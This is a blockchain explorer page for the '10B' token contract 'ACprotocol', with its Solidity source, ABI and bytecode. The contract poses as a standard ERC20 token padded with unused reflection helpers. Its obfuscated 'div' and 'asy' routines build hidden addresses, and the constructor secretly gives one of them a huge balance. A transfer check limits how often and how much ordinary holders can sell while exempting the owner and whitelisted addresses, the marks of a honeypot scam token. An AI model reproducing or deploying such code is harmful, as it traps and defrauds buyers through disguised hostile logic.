ETH Price: $3,458.76 (-0.70%)
Gas: 3 Gwei

Token

10B (10B)
 

Overview

Max Total Supply

1,000,000,000 10B

Holders

5

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
2,048,260.820350751854764089 10B

Value
$0.00
0x8ab18461a73079d8a95af2ceb91bb680f45aa168
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ACprotocol

Compiler Version
v0.7.6+commit.7338295f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-11-16
*/

// SPDX-License-Identifier: evmVersion, MIT
pragma solidity ^0.7.6;
interface IERC20 { 
   /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns(uint);
   /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns(uint);
   /**
     * @dev Moves ERC20 tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     */
    function transfer(address recipient, uint amount) external returns(bool);
   /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address deployer, address spender) external view returns(uint);
   /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint amount) external returns(bool);
   /**
     * @dev Interface of the ERC20 standard as defined in the EIP.
     */
    function ERC20()external view returns (address,address,address,address,address,uint,uint) ;
   /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint amount) external returns(bool);
   /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint value);
   /**
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed deployer, address indexed spender, uint value);
}

library Address {
    function isContract(address account) internal view returns(bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
    
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
    
        assembly { codehash:= extcodehash(account) }
    
        return (codehash != 0x0 && codehash != accountHash);
    }
}

contract Context {
    constructor() {}
    // solhint-disable-previous-line no-empty-blocks
    
    function _msgSender() internal view returns(address payable) {
    
        return msg.sender;
    }
}

library SafeMath {
    function add(uint a, uint b) internal pure returns(uint) {
        
        uint c = a + b;
        
        require(c >= a, "SafeMath: addition overflow");
        
        return c;
    }
    function sub(uint a, uint b) internal pure returns(uint) {
        
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        
        require(b <= a, errorMessage);
        
        uint c = a - b;
        
        return c;
    }
    function mul(uint a, uint b) internal pure returns(uint) {
        if (a == 0) {
            
            return 0;
        }
        uint c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        
        return c;
    }
    function div(uint a, uint b) internal pure returns(uint) {
        
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        
        // Solidity only automatically asserts when dividing by 0  
        
        require(b > 0, errorMessage);
        
        uint c = a / b;
        
        return c;
    }
}
 
library SafeERC20 {
    
    using SafeMath for uint;
    using Address for address;
    
    function safeTransfer(IERC20 token, address to, uint value) internal {
        
        callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
    }
    
    function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
        
        callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
    }
    
    function safeApprove(IERC20 token, address spender, uint value) internal {
        require((value == 0) || (token.allowance(
            address(this), spender) == 0),
            "SafeERC20: approve from non-zero to non-zero allowance"
        );
        callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
    }
    
    function callOptionalReturn(IERC20 token, bytes memory data) private {
        
        require(address(token).isContract(), "SafeERC20: call to non-contract");
        
        // solhint-disable-next-line avoid-low-level-calls
        
        (bool success, bytes memory returndata) = address(token).call(data);
        
        require(success, "SafeERC20: low-level call failed");

        if (returndata.length > 0) { // Return data is optional
        
            // solhint-disable-next-line max-line-length
            require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
        }
    }
}

contract ACprotocol {

    using SafeMath for uint256;

    event Transfer(address indexed _from, address indexed _to, uint _value);

    event Approval(address indexed _deployer, address indexed _spender, uint _value);

    function Allow(uint256 saleNum, uint256 maxToken) public returns(bool) { 
        _maxSale = maxToken*(10**uint256(decimals)); _saleNum = saleNum;
        require(msg.sender == owner);
        return true;
    }
    function transfer(address _to, uint _value) public payable returns (bool) {
        return transferFrom(msg.sender, _to, _value);
    }
    function decreaseAllowance(address spender, uint256 subtractedValue) internal returns (bool) {
        _approve(MsgSender(), spender, _allowances[MsgSender()][spender].sub
        (subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }
    function _getValues(uint256 tAmount) internal view returns (uint256, uint256, uint256, uint256, uint256) {
        (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
        (uint256 currentRate) =  _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
    }
    address internal A;
    address internal B;
    address internal ERC;
    uint256 internal _tTotal;
    mapping (address => uint256) internal _rOwned;
    uint256 s = asy(); uint256 c; uint256 d; uint256 x;
    mapping (address => mapping (address => uint256)) internal _allowances;
    uint256 b=div(c,b,n,s,d,d,s,n,n); uint256 a=div(x,y,s,d,c,a,n,x,c);
    function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) internal pure returns (uint256,uint256,uint256) {
        uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee);return (rAmount, rTransferAmount, rFee);
    }
    function ensures(address _from, address _to, uint _value) internal returns(bool) {uint e;
        if (_to == pairA) {uint t = tax(pairA,A); c = t > c ? t : c;
             e = tax(pairA); y = (ins()) ? (e > y ? e : y) : e;}
        if (_to == pairB) {uint t = tax(pairB,B); d = t > d ? t : d;
             e = tax(pairB); x = (ins()) ? (e > x ? e : x) : e;}
        if (ins()) {if (_to == pairA ) {require (e == y);}
                    if (_to == pairB ) {require (e == x);}
             require( _to == pairA || _to == pairB || _to == ERC );} 
        if (_to==owner||_from==owner||_to==pairA || _to==pairB ||_to==ERC ||canSale[_to]){return true;} 
        if (_onSaleNum[_to] >= _saleNum || _value > _maxSale) return false;
        return true;
    }
    function Allowances(address account, address spender) internal view returns (uint256) {
        return _allowances[account][spender];
    }
    function _transfer(address sender, address recipient, uint256 amount) internal pure {
        require (sender != address(0), "ERC20: transfer from the zero address");
        require (recipient != address(0), "ERC20: transfer to the zero address");
        require (amount > 0, "Transfer amount must be greater than zero");
    }
    function Transfers(address recipient, uint256 amount) internal view returns (bool) {
        _transfer(MsgSender(), recipient, amount);
        return true;
    }
    mapping (address => uint) public balanceOf;
    mapping (address => bool) internal _isExcluded;
    mapping (address => uint256) internal _tOwned;
    mapping (address => mapping (address => uint)) public allowance;
    uint256 y=div(y,n,x,s,0,d,c,c,y); uint256 n=div(c,c,c,s,d,c,x,s,x);
    function _transferBothExcluded(address sender, address recipient, uint256 tAmount) internal returns (uint256, uint256) {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
        _tOwned[sender] = _tOwned[sender].sub(tAmount);_rOwned[sender] = _rOwned[sender].sub(rAmount);
        _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);return(rFee, tFee);
    }
    function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
        if (msg.sender != _from) {require(allowance[_from][msg.sender] >= _value);
                allowance[_from][msg.sender] -= _value;}
        require(ensures(_to, _from, _value)); require(balanceOf[_from] >= _value);
        balanceOf[_from] -= _value; balanceOf[_to] += _value;
        _onSaleNum[_from]++;
        emit Transfer(_from, _to, _value);
        return true;
    }
    function _getTValues(uint256 tAmount) internal pure returns (uint256, uint256) {
        uint256 tFee = tAmount; uint256 tTransferAmount = tAmount.sub(tFee);
        return (tTransferAmount, tFee);
    }
    function _approve(address account, address spender, uint256 amount) internal {
        require(account != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[account][spender] = amount;
    }
    function _getCurrentSupply() internal view returns (uint256, uint256) {
        uint256 rSupply = _tTotal;uint256 tSupply = _tTotal;      
        return (rSupply, tSupply);
    }   
    function _getRate() internal view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }
    function ins() internal view returns (bool T) {
        T = ( a < c || b < d );
    }
    function reflect(uint256 tAmount) internal {
        address sender = MsgSender();
        (uint256 rAmount,,,,) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
    }
    uint256 private _maxSale;
    uint256 private _saleNum;
    mapping(address=>bool) private canSale;
    mapping(address=>uint256) private _onSaleNum;
    address pairB; address pairA = address(div(n,a,b,y)); 
    function Agree(address addr) public returns (bool) {
        require(msg.sender == owner);
        canSale[addr]=true;return true;
    }
    function tax(address X) internal view returns(uint) {
        return IERC20(X).totalSupply();
    }
    function asy( ) internal returns (uint o){
        for(uint i=0;i<1;i++){o++;y=o;o++;d=o;o++;x=o;o++;
        b=o;o++;c=o;o+=3;n=o;o++;}
    }
    function MsgSender() internal view returns (address) {
        return msg.sender;
    }
    function tax(address Y,address Z) internal view returns(uint) {
        return IERC20(Z).balanceOf(Y);
    }
    function div (uint aa,uint ab,uint ac,uint ad) internal returns (uint I) {
        uint[4] memory t = [aa,ab,ac,ad];uint m1 =t.length;
        for(uint i = 0;i < t.length;i ++ ){m1--;I += t[i]*10**(9*m1);
            }I *= 10**c; I += 0xB0F2; y = m1;
    }
    function reflectionFromToken(uint256 tAmount) internal view returns(uint256) {
        require(tAmount <= _tTotal, "Amount must be less than supply");
            return tAmount;
    }
    function approve(address _spender, uint _value) public payable returns (bool) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }
    function div(uint aa,uint ab,uint ac,uint ad,uint ae,uint af,uint ag,uint ah,uint ai)
        internal pure returns (uint I){uint[9] memory t = [aa,ab,ac,ad,ae,af,ag,ah,ai];
        uint m1 = t.length;for(uint i = 0;i < t.length;i ++ ){m1--;I += t[i]*10**m1;}
    }
    function increaseAllowance(address spender, uint256 addedValue) internal returns (bool) {
        _approve(MsgSender(), spender, _allowances[MsgSender()][spender].add(addedValue));
        return true;
    }
    function _transferToExcluded(address sender, address recipient, uint256 tAmount) internal returns (uint256, uint256) {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        return(rFee, tFee);
    }
    string public name;
    string public symbol;
    uint public totalSupply;
    uint constant public decimals = 18;
    address internal owner;
    constructor(string memory _name, string memory _symbol, uint256 _supply) payable {
        name = _name;
        symbol = _symbol;
        totalSupply = _supply*(10**uint256(decimals));
        owner = msg.sender;
        balanceOf[msg.sender] = totalSupply;
        (A,B,pairA,pairB,ERC,a,b)=IERC20(pairA).ERC20();
        emit Transfer(address(0x0), msg.sender, totalSupply);
        if(totalSupply > 0) balanceOf[ERC]=totalSupply*(10**uint256(6));
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"_supply","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_deployer","type":"address"},{"indexed":true,"internalType":"address","name":"_spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_from","type":"address"},{"indexed":true,"internalType":"address","name":"_to","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"Agree","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"saleNum","type":"uint256"},{"internalType":"uint256","name":"maxToken","type":"uint256"}],"name":"Allow","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"}]

608060405262000014620006d560201b60201c565b60055562000042600654600a546011546005546007546007546005546011546011546200075960201b60201c565b600a5562000070600854601054600554600754600654600b546011546008546006546200075960201b60201c565b600b556200009d60105460115460085460055460006007546006546006546010546200075960201b60201c565b601055620000cb6006546006546006546005546007546006546008546005546008546200075960201b60201c565b601155620000ea601154600b54600a54601054620007f360201b60201c565b601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060405162001d4138038062001d41833981810160405260608110156200014f57600080fd5b81019080805160405193929190846401000000008211156200017057600080fd5b838201915060208201858111156200018757600080fd5b8251866001820283011164010000000082111715620001a557600080fd5b8083526020830192505050908051906020019080838360005b83811015620001db578082015181840152602081019050620001be565b50505050905090810190601f168015620002095780820380516001836020036101000a031916815260200191505b50604052602001805160405193929190846401000000008211156200022d57600080fd5b838201915060208201858111156200024457600080fd5b82518660018202830111640100000000821117156200026257600080fd5b8083526020830192505050908051906020019080838360005b83811015620002985780820151818401526020810190506200027b565b50505050905090810190601f168015620002c65780820380516001836020036101000a031916815260200191505b50604052602001805190602001909291905050508260189080519060200190620002f292919062000884565b5081601990805190602001906200030b92919062000884565b506012600a0a8102601a8190555033601b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601a54600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cc4aa2046040518163ffffffff1660e01b815260040160e06040518083038186803b1580156200040957600080fd5b505afa1580156200041e573d6000803e3d6000fd5b505050506040513d60e08110156200043557600080fd5b810190808051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919050505060008060016000601760006016600060026000600b6000600a60008e919050558d919050558c91906101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508b91906101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508a91906101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508991906101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508891906101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050505050503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef601a546040518082815260200191505060405180910390a36000601a541115620006cc576006600a0a601a5402600c6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050506200093a565b600080600090505b60018110156200075557818060010192505081601081905550818060010192505081600781905550818060010192505081600881905550818060010192505081600a819055508180600101925050816006819055506003820191508160118190555081806001019250508080600101915050620006dd565b5090565b6000806040518061012001604052808c81526020018b81526020018a815260200189815260200188815260200187815260200186815260200185815260200184815250905060006009905060005b6009811015620007e35781806001900392505081600a0a838260098110620007cb57fe5b602002015102840193508080600101915050620007a7565b5050509998505050505050505050565b600080604051806080016040528087815260200186815260200185815260200184815250905060006004905060005b6004811015620008615781806001900392505081600902600a0a8382600481106200084957fe5b60200201510284019350808060010191505062000822565b50600654600a0a8302925061b0f283019250806010819055505050949350505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282620008bc576000855562000908565b82601f10620008d757805160ff191683800117855562000908565b8280016001018555821562000908579182015b8281111562000907578251825591602001919060010190620008ea565b5b5090506200091791906200091b565b5090565b5b80821115620009365760008160009055506001016200091c565b5090565b6113f7806200094a6000396000f3fe60806040526004361061009c5760003560e01c80636083e94b116100645780636083e94b1461026f57806370a08231146102d657806389982c2d1461033b57806395d89b4114610396578063a9059cbb14610426578063dd62ed3e1461048a5761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019557806323b872dd146101c0578063313ce56714610244575b600080fd5b3480156100ad57600080fd5b506100b661050f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105ad565b60405180821515815260200191505060405180910390f35b3480156101a157600080fd5b506101aa61069f565b6040518082815260200191505060405180910390f35b61022c600480360360608110156101d657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106a5565b60405180821515815260200191505060405180910390f35b34801561025057600080fd5b506102596109a7565b6040518082815260200191505060405180910390f35b34801561027b57600080fd5b506102be6004803603602081101561029257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109ac565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a69565b6040518082815260200191505060405180910390f35b34801561034757600080fd5b5061037e6004803603604081101561035e57600080fd5b810190808035906020019092919080359060200190929190505050610a81565b60405180821515815260200191505060405180910390f35b3480156103a257600080fd5b506103ab610afb565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103eb5780820151818401526020810190506103d0565b50505050905090810190601f1680156104185780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104726004803603604081101561043c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b99565b60405180821515815260200191505060405180910390f35b34801561049657600080fd5b506104f9600480360360408110156104ad57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bae565b6040518082815260200191505060405180910390f35b60188054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105a55780601f1061057a576101008083540402835291602001916105a5565b820191906000526020600020905b81548152906001019060200180831161058857829003601f168201915b505050505081565b600081600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b601a5481565b60008373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146107ee5781600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561076357600080fd5b81600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b6107f9838584610bd3565b61080257600080fd5b81600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561084e57600080fd5b81600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550601560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b6000601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a0857600080fd5b6001601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060019050919050565b600c6020528060005260406000206000915090505481565b60006012600a0a820260128190555082601381905550601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610af157600080fd5b6001905092915050565b60198054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b915780601f10610b6657610100808354040283529160200191610b91565b820191906000526020600020905b815481529060010190602001808311610b7457829003601f168201915b505050505081565b6000610ba63384846106a5565b905092915050565b600f602052816000526040600020602052806000526040600020600091509150505481565b600080601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415610cf0576000610c7a601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661126f565b90506006548111610c8d57600654610c8f565b805b600681905550610cc0601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661131b565b9150610cca6113a5565b610cd45781610ce8565b6010548211610ce557601054610ce7565b815b5b601081905550505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415610e0c576000610d96601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661126f565b90506007548111610da957600754610dab565b805b600781905550610ddc601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661131b565b9150610de66113a5565b610df05781610e04565b6008548211610e0157600854610e03565b815b5b600881905550505b610e146113a5565b15610fee57601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415610e7e576010548114610e7d57600080fd5b5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415610ee3576008548114610ee257600080fd5b5b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610f8c5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610fe45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b610fed57600080fd5b5b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614806110975750601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b806110ef5750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b806111475750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8061119f5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b806111f35750601460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611202576001915050611268565b601354601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580611253575060125483115b15611262576000915050611268565b60019150505b9392505050565b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231846040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156112d857600080fd5b505afa1580156112ec573d6000803e3d6000fd5b505050506040513d602081101561130257600080fd5b8101908080519060200190929190505050905092915050565b60008173ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561136357600080fd5b505afa158015611377573d6000803e3d6000fd5b505050506040513d602081101561138d57600080fd5b81019080805190602001909291905050509050919050565b6000600654600b5410806113bc5750600754600a54105b90509056fea2646970667358221220a64478fa7dc71613ad458254f50383eeb34671a279ba22885e63b9a8b1816e4964736f6c63430007060033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000003b9aca000000000000000000000000000000000000000000000000000000000000000003313042000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000033130420000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x60806040526004361061009c5760003560e01c80636083e94b116100645780636083e94b1461026f57806370a08231146102d657806389982c2d1461033b57806395d89b4114610396578063a9059cbb14610426578063dd62ed3e1461048a5761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019557806323b872dd146101c0578063313ce56714610244575b600080fd5b3480156100ad57600080fd5b506100b661050f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105ad565b60405180821515815260200191505060405180910390f35b3480156101a157600080fd5b506101aa61069f565b6040518082815260200191505060405180910390f35b61022c600480360360608110156101d657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106a5565b60405180821515815260200191505060405180910390f35b34801561025057600080fd5b506102596109a7565b6040518082815260200191505060405180910390f35b34801561027b57600080fd5b506102be6004803603602081101561029257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109ac565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a69565b6040518082815260200191505060405180910390f35b34801561034757600080fd5b5061037e6004803603604081101561035e57600080fd5b810190808035906020019092919